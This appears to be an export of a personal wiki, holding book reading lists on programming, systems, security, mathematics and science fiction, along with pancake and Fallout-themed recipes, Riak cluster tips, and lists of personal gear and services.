|The Joy of Clojure|First|Fogus, Houser|X|
|Clojure in Action|First|Rathore|X|
|Clojure Programming|First|Emerick, Carper, Grand|X|
|The Little ~MLer|First|Felleisen, Friedman|X|
|ML for the Working Programmer|Second|Paulson|X|
|The Definition of Standard ML|Revised|Milner, Tofte, Harper, ~MacQueen|X|
|Commentary on Standard ML||Milner, Tofte||
|The Standard ML Basis Library|First|Gansner, Reppy|X|
|Using, Understanding, and Unraveling The ~OCaml Language|Unpublished|Remy|X|
|Unix System Programming in ~OCaml|Unpublished|Leroy, Remy|X|
|Haskell The Craft of Functional Programming|Second|Thompson|X|
|Real World Haskell|First|O'Sullivan, Goerzen, Stewart|X|
|The Fun of Programming||Gibbons, de Moor||
|An Introduction to R|Revised|Venables, Smith|X|
|The Inform Designer's Manual|Fourth|Nelson|X|
|Programming Perl|Third|Wall, Christiansen, Orwant|X|
|Perl Best Practices|First|Conway|X|
|Higher Order Perl|First|Dominus|X|
|Modern Perl|First|chromatic|X|
|Mastering Regular Expressions|Third|Friedl|X|
|Programming in Prolog|Fifth|Clocksin, Mellish|X|
|Clause and Effect|First|Clocksin|X|
|The Art of Prolog|Second|Sterling, Shapiro|X|
|The Craft of Prolog|First|O'Keefe|X|
|The Practice of Prolog|First|Sterling|X|
|Programming with Constraints|First|Marriott, Stuckey||
|Logic for Problem Solving||Kowalski||
|Python in a Nutshell|Second|Martelli|X|
|The Ruby Programming Language|First|Flanagan, Matsumoto|X|
|Programming Ruby 1.9|First|Thomas|X|
|Agile Web Development with Rails|Fourth|Ruby, Thomas, Heinemeier Hanson|X|
|Programming Scala|First|Wampler, Payne|X|
|Programming in Scala|Second|Odersky, Spoon, Venners|X|
|Classic Shell Scripting|First|Robbins, Beebe|X|
|Mastering Unix Shell Scripting|Second|Michael||
|The AWK Programming Language|First|Aho, Kernighan, Weinberger||
|Effective awk Programming|Third|Robbins|X|
|sed & awk|Second|Dougherty, Robbins|X|
|The ~LaTeX Companion|Second|Mittelbach, Goossens|X|
I made these the other day:
* 500g KESO mini (cottage cheese)
* 4 eggs
* 10 tablespoons flour
* 4 tablespoons sugar (optional)
* some salt
Mix all ingredients in a bowl.
Pre-heat a pan, add some oil/butter/etc.
Fry on each side for a couple of minutes.

Serve with jam. Feeds about two.

* 4 eggs
* 25g protein powder
* 1 tsp baking powder
* 50ml almond flour
* 20g coconut flakes
* salt
* cinnamon
* 200ml milk

Serve with stevia and berries.
*1 whole egg
*1/2 a large banana (70g)
*1/4 cup (28g) of banana whey protein powder
*1/4 cup (66ml) of milk
*1/4 cup (40g) of oatflour (almondflour?)
*optional: vanilla, cinnamon, baking powder, salt
Things the Riak wiki doesn't tell you...
*Many small machines are better than few large machines
**But >=64GB of RAM are nice (128GB even nicer)
**Use ~SSDs
*Go for at least 10 partitions per physical node
**E.g. for 20 nodes: ring_creation_size at least 256, better 512 (Basho recommends against 1024 currently due to implementation details)
**Changing the ring_creation_size of a running cluster is very painful
*Do not ~LIST_KEYS
**Key filters are just as bad
**Use 2i-lookup instead
*With the ~LevelDB backend, try to structure your app in such a way that you don't expect to get not_founds
**Use Bitcask if you do make lots of requests which are expected to return not_found
|Alastair Reynolds|Galactic North|X|
|Alastair Reynolds|The Prefect|X|
|Alastair Reynolds|Diamond Dogs, Turquoise Days|R|
|Alastair Reynolds|Chasm City|X|
|Alastair Reynolds|Revelation Space|X|
|Alastair Reynolds|Redemption Ark|X|
|Alastair Reynolds|Absolution Gap|X|
|Alastair Reynolds|Century Rain|X|
|Alastair Reynolds|Pushing Ice|X|
|Alastair Reynolds|House of Suns||
|Alfred Bester|The Demolished Man|X|
|Alfred Bester|The Stars My Destination|X|
|Aldous Huxley|Brave New World||
|Bruce Sterling|Schismatrix Plus|X|
|Bruce Sterling|Islands in the Net||
|Bruce Sterling|The Difference Engine|X|
|Bruce Sterling|Heavy Weather||
|Charles Stross|Accelerando|X|
|Charles Stross|Glasshouse|X|
|Charles Stross|Singularity Sky|X|
|Charles Stross|Iron Sunrise|X|
|Charles Stross|The Atrocity Archives|X|
|Charles Stross|The Jennifer Morgue|X|
|Charles Stross|The Fuller Memorandum||
|Charles Stross|The Family Trade|X|
|Charles Stross|The Hidden Family|X|
|Charles Stross|The Clan Corporate|R|
|Charles Stross|The Merchants' War|R|
|Charles Stross|Halting State|X|
|Charles Stross|Saturn's Children|X|
|Charles Stross|Wireless||
|Charles Stross|The Rapture of the Nerds||
|C.J. Cherryh|Downbelow Station||
|C.J. Cherryh|Cyteen||
|Connie Willis|To Say Nothing of the Dog|R|
|Corry Doctorow|Down and Out in the Magic Kingdom|X|
|Daniel Keys Moran|Emerald Eyes||
|Daniel Keys Moran|The Long Run||
|Daniel Keys Moran|The Last Dancer||
|David Brin|Sundiver|R|
|David Brin|Startide Rising||
|David Brin|The Uplift War||
|David Brin|Kiln People|X|
|David D. Friedman|Harald|R|
|David Gerrold|A Matter for Men||
|David Gerrold|A Day for Damnation||
|David Gerrold|A Rage for Revenge||
|David Gerrold|A Season for Slaughter||
|David Weber|On Basilisk Station||
|Diana Wynne Jones|Tough Guide to Fantasyland||
|Douglas Adams|The Ultimate Hitchhiker's Guide to the Galaxy|X|
|Douglas Adams|The Dirk Gently Omnibus|X|
|Douglas Coupland|Microserfs||
|D.R. Lloyd|The Sillymarillion||
|E.A. Abbott|Flatland||
|Elizabeth Bear|Hammered|R|
|Elizabeth Bear|Scardown||
|Elizabeth Bear|Worldwired||
|Elizabeth Bear|Carnival|X|
|Frederik Pohl|Gateway|X|
|Fritz Leiber|Our Lady Of Darkness||
|Gene Wolfe|Pirate Freedom||
|Gene Wolfe|An Evil Guest|R|
|George R.R. Martin|Dying of the Light||
|George R.R. Martin|A Game of Thrones|X|
|George R.R. Martin|A Clash of Kings|X|
|George R.R. Martin|A Storm of Swords Volume 1|X|
|George R.R. Martin|A Storm of Swords Volume 2|X|
|George R.R. Martin|A Feast for Crows|X|
|George R.R. Martin|A Dance with Dragons||
|George Orwell|1984|X|
|George Orwell|Animal Farm|R|
|Glen Cook|The Black Company|X|
|Glen Cook|Shadows Linger|X|
|Glen Cook|The White Rose|X|
|Glen Cook|Shadow Games||
|Glen Cook|Dreams of Steel||
|Glen Cook|Bleak Seasons||
|Glen Cook|She Is The Darkness||
|Glen Cook|Water Sleeps||
|Glen Cook|Soldiers Live||
|Glen Cook|Sweet Silver Blues|X|
|Greg Bear|Blood Music|X|
|Greg Bear|Quantico|R|
|Greg Egan|Quarantine||
|Greg Egan|Permutation City|X|
|Greg Egan|Distress||
|Greg Egan|Diaspora|X|
|Greg Egan|Teranesia||
|Greg Egan|Schild's Ladder|R|
|Greg Egan|Incandescence||
|Hal Clement|Mition of Gravity|X|
|Hal Clement|Noise|X|
|Harvard Lampoon, The|Bored of the Rings|R|
|H.G. Wells|The War of the Worlds|X|
|H.P. Lovecraft|Omnibus Vol. 1|X|
|H.P. Lovecraft|Omnibus Vol. 2|X|
|H.P. Lovecraft|Omnibus Vol. 3|X|
|Iain M. Banks|Consider Phlebas|X|
|Iain M. Banks|The Player of Games|X|
|Iain M. Banks|Use of Weapons|X|
|Iain M. Banks|Excession||
|Iain M. Banks|Inversions||
|Iain M. Banks|Look to Windward||
|Iain M. Banks|Against a Dark Background||
|Iain M. Banks|Feersum Endjinn||
|Iain M. Banks|The Algebraist|X|
|Iain M. Banks|Surface Detail|X|
|Ian ~McDonald|River of Gods|R|
|Isaac Asimov|Foundation||
|Isaac Asimov|Foundation and Empire||
|Isaac Asimov|Second Foundation||
|Isaac Asimov|The Gods Themselves||
|Jack Vance|Tales of the Dying Earth|R|
|Jim Butcher|Storm Front||
|Joe Haldeman|The Forever War|X|
|John Brunner|The Shockwave Rider|X|
|John Brunner|Stand on Zanzibar|X|
|John M. Ford|The Dragon Waiting|X|
|John Myers Myers|Silverlock|X|
|John Scalzi|Old Man's War|X|
|John Scalzi|The Ghost Brigades||
|John Scalzi|The Last Colony||
|John Scalzi|The Android's Dream||
|John Shirley|City Come ~A-Walkin'||
|John Shirley|Eclipse||
|John Shirley|Eclipse Penumbra||
|John Shirley|Eclipse Corona||
|John Varley|Steel Beach||
|Joseph Heller|Catch 22|R|
|J.R.R. Tolkien|The Hobbit|X|
|J.R.R. Tolkien|The Lord of the Rings||
|J.R.R. Tolkien|The Silmarillion|R|
|Karl Schroeder|The Engine of Recall|X|
|Karl Schroeder|Ventus|X|
|Karl Schroeder|Permanence|X|
|Karl Schroeder|Lady of Mazes|X|
|Karl Schroeder|Sun of Suns||
|Ken Macleod|The Star Fraction|X|
|Ken Macleod|The Stone Canal|X|
|Ken Macleod|The Cassini Division|X|
|Ken Macleod|The Sky Road|R|
|Ken Macleod|Cosmonaut Keep|X|
|Ken Macleod|Dark Light|R|
|Ken Macleod|Engine City|R|
|Ken Macleod|Newton's Wake||
|Ken Macleod|Learning the World||
|Ken Macleod|The Execution Channel||
|Larry Niven|Fallen Angels|R|
|Larry Niven|World of Ptavvs||
|Larry Niven|Ringworld|X|
|Larry Niven|The Ringworld Engineers|X|
|Larry Niven|The Ringworld Throne|X|
|Larry Niven|Ringworld's Children|X|
|Larry Niven|Protector||
|Larry Niven|Flatlander||
|Larry Niven|Inferno||
|Larry Niven|Lucifer's Hammer||
|Larry Niven|Footfall||
|Larry Niven|The Mote in God's Eye||
|Lawrence ~Watt-Evans|The Spriggan Mirror||
|Leonard Richardson|Constellation Games||
|Lewis Carroll|AAIW & TTLG|X|
|Lois ~McMaster Bujold|Barrayar||
|L. Sprague de Camp|Conan the Buccaneer||
|Marc Stiegler|Earthweb|R|
|Maureen F. ~McHugh|China Mountain Zang||
|Michael Chabon|The Yiddish Policemen's Union|R|
|Michael Swanwick|The Iron Dragon's Daughter||
|M. John Harrison|Viriconium|R|
|Murray Leinster|A Logic Named Joe|X|
|Neal Asher|Gridlinked||
|Neal Asher|The Line of Polity||
|Neal Asher|Brass Man||
|Neal Asher|Polity Agent||
|Neal Asher|The Skinner|R|
|Neal Asher|The Voyage of the Sable Keech|X|
|Neal Stephenson|The Big U|X|
|Neal Stephenson|Zodiac|X|
|Neal Stephenson|Interface|X|
|Neal Stephenson|Cobweb|X|
|Neal Stephenson|Snow Crash|X|
|Neal Stephenson|The Diamond Age|X|
|Neal Stephenson|Cryptonomicon|X|
|Neal Stephenson|Quicksilver|X|
|Neal Stephenson|The Confusion|X|
|Neal Stephenson|The System of the World|X|
|Neal Stephenson|Anathem||
|Neal Stephenson|Reamde||
|Neil Gaiman|American Gods|X|
|Olaf Stapledon|Star Maker|R|
|Orson Scott Card|Ender's Game|X|
|Pamela Dean|Tam Lin||
|P.C. Hodgell|God Stalk||
|P.C. Hodgell|Dark of the Moon||
|P.C. Hodgell|Seeker's Mask||
|P.C. Hodgell|To Ride a Rathorn||
|Peter F. Hamilton|Pandora's Star|R|
|Peter F. Hamilton|Judas Unchained|R|
|Peter Watts|Starfish||
|Peter Watts|Maelstrom|X|
|Peter Watts|Behemoth -- ~Beta-Max|X|
|Peter Watts|Behemoth -- Seppuku|R|
|Peter Watts|Blindsight|X|
|Philip K. Dick|Do Androids Dream of Electric Sheep?|X|
|Philip K. Dick|Flow My Tears, The Policeman Said|X|
|Poul Anderson|Conan the Rebel|R|
|Poul Anderson|Orion Shall Rise||
|R. A. ~MacAvoy|Tea with the Black Dragon||
|Richard Morgan|Altered Carbon||
|Richard Morgan|Broken Angels||
|Richard Morgan|Woken Furies|X|
|Richard Morgan|The Steel Remains||
|Rick Cook|The Wiz Bits|X|
|Rick Cook|Wiz Biz II||
|Rick Cook|The Wizardry Quested||
|Robert Anton Wilson|The Illuminatus! Trilogy||
|Robert Anton Wilson|Schroedinger's Cat trilogy|X|
|Robert E. Howard|Nameless Cults||
|Robert Heinlein|The Unpleasant Profession of Jonathan Hoag||
|Robert Heinlein|Friday||
|Robert Heinlein|Have Space Suit, Will Travel||
|Robert Heinlein|Farnham's Freehold||
|Robert Jordan|New Spring|X|
|Robert Reed|Marrow||
|Robert Silverberg|The Book of Skulls|X|
|Robert W. Chambers|The King in Yellow|X|
|Roger Zelazny|The Great Book of Amber|X|
|Roger Zelazny|Lord of Light|X|
|Roger Zelazny|A Night in the Lonesome October||
|Rudy Rucker|Software||
|Rudy Rucker|Wetware||
|Rudy Rucker|Freeware||
|Rudy Rucker|Realware||
|Rudy Rucker|Spacetime Donuts||
|Rudy Rucker|Hacker and the Ants, Version 2.0|X|
|Rudy Rucker|Spaceland||
|Rudy Rucker|Mathematicians in Love|R|
|Samuel R. Delany|Babel-17||
|S. Andrew Swann|Dragons of the Cuyahoga|R|
|S. Andrew Swann|Broken Crescent|R|
|S. Andrew Swann|Dwarves of Whiskey Island|R|
|Scott Lynch|The Lies of Locke Lamora|X|
|Scott Lynch|Red Seas under Red Skies|R|
|Sean ~McMullen|Souls in the Great Machine||
|Sean ~McMullen|The Miocene Arrow||
|Sean ~McMullen|Eyes of the Calculor||
|Sharon Lee|Agent of Change||
|Sharon Lee|Conflict of Honors||
|Sharon Lee|Carpe Diem||
|Spider Robinson|Callahan's Place|R|
|Spider Robinson|Lady Sally's||
|Spider Robinson|Mary's Place||
|Spider Robinson|The Place||
|Stephan Zielinski|Bad Magic|X|
|Stephen King|The Dark Tower|R|
|Steven Brust|The Book of Jhereg|R|
|Steven Brust|Cowboy Feng's Space Bar and Grille||
|Steven Erikson|Gardens of the Moon||
|Susanna Clarke|Jonathan Strange & Mr Norrell|X|
|Tad Williams|Otherland Volumes 1-4|X|
|Terry Pratchett|The Colour of Magic|X|
|Terry Pratchett|The Light Fantastic|X|
|Terry Pratchett|Sourcery|X|
|Terry Pratchett|Eric|X|
|Terry Pratchett|Equal Rites|X|
|Terry Pratchett|Maskerade|X|
|Terry Pratchett|Carpe Jugulum|X|
|Terry Pratchett|Mort|X|
|Terry Pratchett|Reaper Man|X|
|Terry Pratchett|Guards! Guards!|X|
|Terry Pratchett|Men at Arms|X|
|Terry Pratchett|Feet of Clay|X|
|Terry Pratchett|Monstrous Regiment|X|
|Terry Pratchett|Going Postal|X|
|Thomas Ligotti|The Shadow at the Bottom of the World||
|Thomas Pynchon|Against the Day|R|
|Tim Powers|On Stranger Tides||
|Tobias S. Buckell|Ragamuffin|R|
|Vernor Vinge|Tatja Grimm's World|X|
|Vernor Vinge|The Witling|R|
|Vernor Vinge|True Names|X|
|Vernor Vinge|Across Realtime|X|
|Vernor Vinge|A Fire Upon the Deep|X|
|Vernor Vinge|A Deepness in the Sky|X|
|Vernor Vinge|Rainbows End|R|
|Vernor Vinge|The Children of the Sky||
|Walter Jon Williams|Implied Spaces|R|
|William Gibson|Neuromancer|X|
|William Gibson|Count Zero|X|
|William Gibson|Mona Lisa Overdrive|X|
|William Gibson|Idoru|X|
|William Gibson|Pattern Recognition|X|
|Wil ~McCarthy|Aggressor Six||
|Wil ~McCarthy|The Fall of Sirius||
|Wil ~McCarthy|Flies from the Amber||
|Wil ~McCarthy|Murder in the Solid State||
|Wil ~McCarthy|Bloom||
|Wil ~McCarthy|The Collapsium|R|
|Wil ~McCarthy|The Wellstone|R|
|Wil ~McCarthy|Lost in Transmission|R|
|Wil ~McCarthy|To Crush the Moon|R|
|Wil ~McCarthy|Once Upon a Galaxy||
<<list filter [tag[sfbib]]>>
programming archaeology and pedantics
|Building Scalable Web Sites|First|Henderson||
|Scalable Internet Architectures|First|Schlossnagle|X|
|Release It!|First|Nygard||
|The Art of Capacity Planning|First|Allspaw|X|
|Web Operations|First|Allspaw, Robbins|X|
|The Elements of Style|Fiftieth Anniversary|Strunk, White||
|The Mythical Man Month|Anniversary|Brooks|X|
|The Psychology of Computer Programming|Silver Anniversary|Weinberg||
|Few Good Men from Univac|Classic|Lundstrom||
|Peopleware|Second|~DeMarco, Lister||
|The Art of Community|First|Bacon||
|Crossing the Chasm|2006|Moore||
|The Lean Startup|First|Ries||
|Hackers & Painters|First|Graham|X|
|Founders at Work|First|Livingston|X|
|Coders at Work|First|Seibel|X|
|The Elements of Programming Style|Second|Kernighan, Plauger|X|
|Software Tools in PASCAL|First|Kernighan, Plauger|X|
|The Practice of Programming|First|Kernighan, Pike|X|
|The Art of UNIX Programming|First|Raymond|X|
|The Pragmatic Programmer|First|Hunt, Thomas|X|
|A Discipline of Programming|First|Dijkstra||
|A Method of Programming|First|Dijkstra, Feijen||
|Algebra of Programming|First|Bird, de Moor||
|Pearls of Functional Algorithm Design|First|Bird||
|Programming Pearls|Second|Bentley|X|
|More Programming Pearls||Bentley||
|Writing Efficient Programs||Bentley||
|Patterns of Software|First|Gabriel||
|Design Patterns|First|Gamma, Helm, Johnson, Vlissides||
|Literate Programming|First|Knuth||
|Code Reading|First|Spinellis||
|Code Quality|First|Spinellis||
|Beautiful Architecture|First|Spinellis, Gousios||
|Beautiful Code||Oram, Wilson||
|The Architecture of Open Source Applications|First|Brown, Wilson|X|
|The Architecture of Open Source Applications Volume II|First|Brown, Wilson||
|Refactoring Ruby Edition|First|Fields, Harvie, Fowler||
|Software Engineering for Internet Applications|First|Andersson, Greenspun, Grumet|X|
**A Thinkpad X230
**Sennheiser PXC 450 headphones
**A Happy Hacking Keyboard
**A Logitech ~TrackMan
**An iPad 4
**An iPhone 5
**An Apple Wireless Keyboard
**An Xbox 360 S
**A Razer Onza
**A Kindle 3
**A Contigo travel mug
**A rubber duck
**A Chrome messenger bag
**A Moleskine notebook
**A Leatherman multi-tool
**Luna sandals
*I've got a Panix VPS
*Gandi provides my DNS
*I pay for Giganews access
*I'm an EFF Sustaining Member
*I use Tarsnap for offsite backups
* Vitamin D
* Omega 3
* ~BCAAs
* Creatine
* Multivitamine/mineral
C.f. http://examine.com/
I transcribed these from the Fallout manuals. Yum! 
&#169; Interplay

!!Mushroom Clouds
(preheat oven to 200 degrees Fahrenheit)
#3-4 egg whites (at room temperature)
#1/4 tsp cream of tartar
#8 oz dark chocolate (bittersweet or semi-sweet)
#1 cup superfine sugar
Beat the eggs and tartar with an electric mixer until soft peaks form.
Add the sugar a little at a time while continuing to beat, until all the sugar
is in and the mixture is glossy and stiff.
Using a piping bag with a no. 8 tip, pipe out an equal number of caps and stems
onto an ungreased non-stick cookie sheet. The Caps should be about the diameter
of a quarter, and the stems should be about an inch high and the diameter of a
soda straw.
Sprinkle cocoa over the caps and stems, and then blow on them to spread out the
cocoa more evenly. You may want to do this outside, as cocoa goes everywhere.
Bake for 2 hours at 200 degrees.
Carefully remove the caps and stems from the cookie sheet. With a dull knife,
snip the top of each stem so it has a flat top surface.
Melt the chocolate (in a double boiler or microwave). Spread the chocolate on
the base of each cap with a butter knife or spatula, and use it to glue a stem
in place. Put the assembled mushrooms in the refrigerator for 20 minutes to
harden the chocolate, then put them in an airtight container.
Makes 3-4 dozen.

//superfine sugar is NOT confectioner's sugar or 10X sugar.
If you cannot find superfine sugar, it's easy to make. Just put granulated
sugar in a blender or food processor, and blend for 1 minute.//

!!Desert Salad
(Increase or reduce ingredient portions to taste)
#1 lb. extra lean ground beef (turkey may be substituted)
#6 oz. tortilla chips
#1/2 head of iceberg lettuce, cut
#1 firm tomato
#3 oz. pinto beans
#1 16oz. bottle of Catalina dressing
#6 oz. sliced olives
#1 avocado (optional)
#4 oz. cheddar cheese
Brown the meat, drain.
In a large bowl, mix lettuce, beans, and olives. Crush chips and add.
Cut tomato into small chunks and add to bowl. Shred cheese and add. Slice
avocado and add. Add meat. Toss with dressing. Serve.
Makes 4-6 portions.

!!"The Big One" Pancake
#1/3 cup Butter
#4 eggs
#1 cup milk
#1 cup flour
In a blender whip eggs for 1 min. Gradually add milk and then flour while
blender is on. After adding milk and flour continue blending for 30 seconds.
Melt butter. Pour melted butter into souffle dish (or round high dish), then
add mixture to dish. Bake at 425 degrees for 20-25 minutes (Until fluffy and
golden brown & firm. Pancake will fall apart after being removed from the
oven. Serve with fresh strawberries, powdered sugar, lemon, syrup, cinnamon, or
anything you desire. Makes approximately 8 servings.

!!Carrion Kabobs
#1/4 cup lemon juice
#1/2 cup salad oil
#3 cloves of garlic (Minced or pressed)
#1 tablespoon ground cumin
#2 pounds boned leg of lamb (fat trimmed) cut into 1 1/2 inch chunks
#2 each medium sized green, red, yellow bell peppers (or 6 of 1 kind) stemmed, seeded, and cut into 1 1/2inch pieces.
In a bowl, combine lemon, oil, garlic, and cumin. Add the lamb; stir to
coat. Cover and chill for at least 4, or up to 24 hours.
Ignite 60 charcoal briquettes on firegate of barbecue; let burn until coals are
covered with just gray ash, about 30 minutes. Spread coals evenly. Place grill
4 to 6 inches above coals.
Thread equal portions of lamb, slightly apart, on 6 slender 10- to 12-inch
metal, or wooden skewers. Thread equal portions of peppers slightly apart and
alternating colours, on 6 more skewers. Brush peppers all over with cumin
Place peppers and lamb on grill. Cook, turning and basting once with cumin
marinade, until peppers are tender when pierced, and meat is done to your
liking (cut to test), 10 to 15 minutes for medium rare. Makes 6 servings.
|Database Systems The Complete Book|Second|~Garcia-Molina, Ullman, Wisdom|X|
|Transaction Processing|First|Gray, Reuter||
|Foundations of Databases|First|Abiteboul, Hull, Vianu||
|Atomic Transactions||Lynch||
|Readings in Database Systems|Fourth|Hellerstein, Stonebraker||
|Computer Networks|Fourth|Tanenbaum|X|
|Distributed Systems|First|Tanenbaum, van Steen|X|
|Internetworking With TCP/IP - Volume II|Third|Comer, Stevens||
|TCP/IP Illustrated - Volume 1|First|Stevens||
|TCP/IP Illustrated - Volume 2|First|Wright, Stevens||
|TCP/IP Illustrated - Volume 3|First|Stevens||
|~IPv6 Core Protocols Implementation||Li, Tatuya, Shima||
|~IPv6 Advanced Protocols Implementation||Li, Tatuya, Shima||
|HTTP The Definitive Guide||Gourley, Totty||
|~RESTful Web Services|First|Richardson, Ruby||
|The Elements of Networking Style|Reprint|Padlipsky||
|The Art of Multiprocessor Programming|First|Herlihy, Shavit||
|Graphics Programming Black Book|Special|Abrash||
|Computer Graphics|Second|Foley, van Dam, Feiner, Hughes||
|~Real-Time Rendering|Third|~Akenine-Moller, Haines, Hoffman||
|Electrical Engineering|Second|Hambley|X|
|The Art of Electronics||Horowitz, Hill||
|The Elements of Computing Systems|First|Nisan, Schocken|X|
|Computer Organization and Design|Third|Patterson, Hennessy||
|Computer Architecture|Fourth|Hennessy, Patterson||
|The Connection Machine|First|Hillis||
|The Datacenter as a Computer|First|Barroso, Holzle||
|The Indispensable PC Hardware Book||Messmer||
|Designing Embedded Hardware|Second|Catsoulis||
|Hacking the Xbox|Unlimited|Huang||
|Modern Operating Systems|Second|Tanenbaum||
|Operating Systems Design and Implementation||Tanenbaum, Woodhull||
|Principles of Computer System Design - Volume 1|First|Saltzer, Kaashoek|X|
|Principles of Computer System Design - Volume 2|First|Saltzer, Kaashoek||
|Computer Systems A Programmer's Perspective||Bryant||
|Lions Commentary on UNIX|Reprinted|Lions|X|
|The Basic Kernel||Jolitz, Jolitz||
|The Design of the UNIX Operating System|First|Bach|X|
|The Design and Implementation of the 4.4BSD Operating System|First|~McKusick, Bostic, Karels, Quarterman||
|The Design and Implementation of the ~FreeBSD Operating System||~McKusick, ~Neville-Neil||
|Solaris Internals||~McDougall, Mauro||
|UNIX Systems for Modern Architectures||Schimmel||
|Unix Internals|First|Vahalia||
|Project Oberon||Wirth, Gutknecht||
|Linkers & Loaders||Levine||
|Practical File System Design||Giampaolo||
|~FreeBSD Device Drivers|First|Kong||
|Essentials of Programming Languages|First|Friedman, Wand, Haynes|X|
|Compilers|First|Aho, Sethi, Ullman||
|Modern Compiler Implementation in ML|First|Appel|X|
|Advanced Compiler Design and Implementation||Muchnick||
|Engineering a Compiler||Cooper, Torczon||
|Modern Compiler Design||Grune, Bal, Jacobs, Langendoen||
|A Retargetable C Compiler|First|Fraser, Hanson||
|Lisp in Small Pieces|First|Queinnec||
|Anatomy of Lisp||Allen||
|Compiling with Continuations|First|Appel||
|The Implementation of Functional Programming Languages||Peyton Jones||
|Warren's Abstract Machine||~Ait-Kaci||
|Partial Evaluation and Automatic Program Generation||Jones, Gomard, Sestoft||
|lex & yacc|Second|Levine, Mason, Brown|X|
|Garbage Collection|First|Jones, Lins||
|Virtual Machines||Smith, Nair||
|Firewalls and Internet Security|Second|Cheswick, Bellovin, Rubin|X|
|Network Security||Kaufman, Perlman, Speciner||
|Security Engineering|Second|Anderson||
|Engineering Security||Gutmann||
|Cryptography Engineering|First|Ferguson, Schneier, Kohno|X|
|Applied Cryptography|Second|Schneier||
|Handbook of Applied Cryptography||Menezes, van Oorschot, Vanstone||
|Hacking Linux Exposed|Second|Hatch, Lee|X|
|Security Power Tools|First|Burns, et al.|X|
|Nmap Network Scanning|First|Fyodor||
|Metasploit|First|Kennedy, O'Gorman, Kearns, Aharoni||
|Exploiting Software|First|Hoglund, ~McGraw|X|
|The Art of Software Security Assessment|First|Dowd, ~McDonald, Schuh||
|Designing BSD Rootkits|First|Kong|X|
|A Guide to Kernel Exploitation|First|Perla, Oldani|X|
|Silence on the Wire|First|Zalewski|X|
|The Tangled Web|First|Zalewski|X|
|Selected Papers on Computer Science|First|Knuth||
|The New Turing Omnibus|First|Dewdney||
|Algorithms - Parts 1-4|Third|Sedgewick|X|
|Algorithms - Part 5|Third|Sedgewick|X|
|Introduction to Algorithms|Second|Cormen, Leiserson, Rivest, Stein||
|Introduction to Algorithms A Creative Approach|Reprinted|Manber||
|Algorithm Design||Kleinberg, Tardos||
|Advanced Data Structures|First|Brass||
|Algorithms A Functional Programming Approach|First|Rabhi, Lapalme|X|
|Purely Functional Data Structures|First|Okasaki|X|
|The Art of Computer Programming - Volume 1||Knuth||
|The Art of Computer Programming - Volume 2||Knuth||
|The Art of Computer Programming - Volume 3||Knuth||
|Combinatorial Optimization Algorithms and Complexity|Dover|Papadimitriou, Steiglitz||
|Combinatorial Optimization Matroids and Networks|Dover|Lawler||
|Elements of Distributed Computing|First|Garg|X|
|Distributed Algorithms|First|Lynch||
|Calculus With Analytic Geometry|Second|Simmons||
|Short Calculus|Original|Lang||
|A Course of Pure Mathematics|Centenary|Hardy||
|Introduction to Linear Algebra|Fourth|Strang||
|Linear Algebra and Its Applications|Fourth|Strang||
|A First Course in Abstract Algebra|Seventh|Fraleigh||
|Discrete Mathematics and Its Applications|Fifth|Rosen||
|Handbook of Discrete and Combinatorial Mathematics||Rosen||
|Diskrete Mathematik|Sixth|Aigner|X|
|Concrete Mathematics||Graham, Knuth, Patashnik||
|Introductory Combinatorics|Fifth|Brualdi||
|Feynman Lectures on Computation|First|Feynman||
|Introduction to the Theory of Computation|Third|Sipser||
|Introduction to Automata Theory, Languages, and Computation|First|Hopcroft, Ullman|X|
|Computers and Intractability|First|Garey, Johnson||
|Computational Complexity|Reprinted|Papadimitriou||
|The Compleat Strategyst|Reprinted|Williams||
|Algorithmic Game Theory||Nisan, Roughgarden, Tardos, Vazinari||
|Networks, Crowds, and Markets|First|Easley, Kleinberg||
|How To Solve It|Second|Polya||
|How To Prove It|Second|Velleman|X|
|Solving Mathematical Problems|Reprinted|Tao||
|~Street-Fighting Mathematics|First|Mahajan||
|All the Mathematics You Missed|First|Garrity||
|Princeton Companion to Mathematics||Gowers, ~Barrow-Green, Leader||
|Mathematics Form and Function||Mac Lane||
|Proofs from THE BOOK||Aigner, Ziegler, Hofmann||
|Turtle Geometry||Abelson, diSessa||
|The Limits of Mathematics||Chaitin||
|Naive Set Theory||Halmos||
|Basic Category Theory for Computer Scientists|First|Pierce||
|Categories for the Working Mathematician||Mac Lane||
|Symbolic Logic|Reprinted|Carroll||
|To Mock a Mockingbird|First|Smullyan||
|Logic in Computer Science|Second|Huth, Ryan|X|
|Logic for Computer Science|REVISED|Gallier||
|Computability and Logic|Fourth|Boolos, Burgess, Jeffrey||
|A Mathematical Introduction to Logic|Second|Enderton||
|Term Rewriting and All That|First|Baader, Nipkow||
|Lambda Calculus and Combinators||Hindley||
|The Lambda Calculus||Barendregt||
|Proofs and Types||Girard, Lafont, Taylor||
|Symbolic Logic and Mechanical Theorem Proving|First|Chang, Lee|X|
|Edinburgh LCF|First|Gordon, Milner, Wadsworth||
|Logic and Computation|First|Paulson||
|Introduction to HOL||Gordon||
|Handbook of Practical Logic and Automated Reasoning|First|Harrison||
|Semantics with Applications|Revised|Nielson, Nielson|X|
|Principles of Program Analysis||||
|Software Foundations||||
|Certified Programming with Dependent Types||||
|Concepts, Techniques, and Models of Computer Programming|First|Van Roy, Haridi||
|Foundations of Logic Programming|Second|Lloyd||
|Types and Programming Languages|First|Pierce||
|Advanced Topics in Types and Programming Languages||Pierce||
|Communicating Sequential Processes||Hoare||
|Introduction to Probability|Second|Bertsekas, Tsitsiklis||
|Statistics|Fourth|Freedman, Pisani, Purves||
*Trading and Exchanges; Harris
*Algorithmic Trading and DMA; Johnson
*Quantitative Trading; Chan
|UNIX in a Nutshell|Third|Robbins|X|
|Unix Power Tools|Third|Powers, Peek, O'Reilly, Loukides||
|X Power Tools|First|Tyler||
|Essential System Administration|Third|Frisch||
|UNIX and Linux System Administration Handbook|Fourth|Nemeth, Snyder, Hein, Whaley||
|Absolute ~OpenBSD|First|Lucas|X|
|Secure Architectures with ~OpenBSD|First|Palmer, Nazario|X|
|The Complete ~FreeBSD|Fourth|Lehey|X|
|TCP/IP Network Administration|Third|Hunt||
|Network Warrior|Second|Donahue||
|The UNIX Programming Environment|First|Kernighan, Pike|X|
|Advanced Unix Programming|Second|Rochkind||
|Advanced Programming in the UNIX Environment|Second|Stevens, Rago||
|POSIX Programmer's Guide||Lewine||
|Unix Network Programming - Volume 1|Third|Stevens, Fenner, Rudoff||
|Unix Network Programming - Volume 2|Second|Stevens||
|Learning GNU Emacs|Third|Cameron, Elliott, Loy, Raymond, Rosenblatt|X|
|Version Control with Git|First|Loeliger|X|
|Managing Projects with GNU Make|Third|Mecklenburg|X|
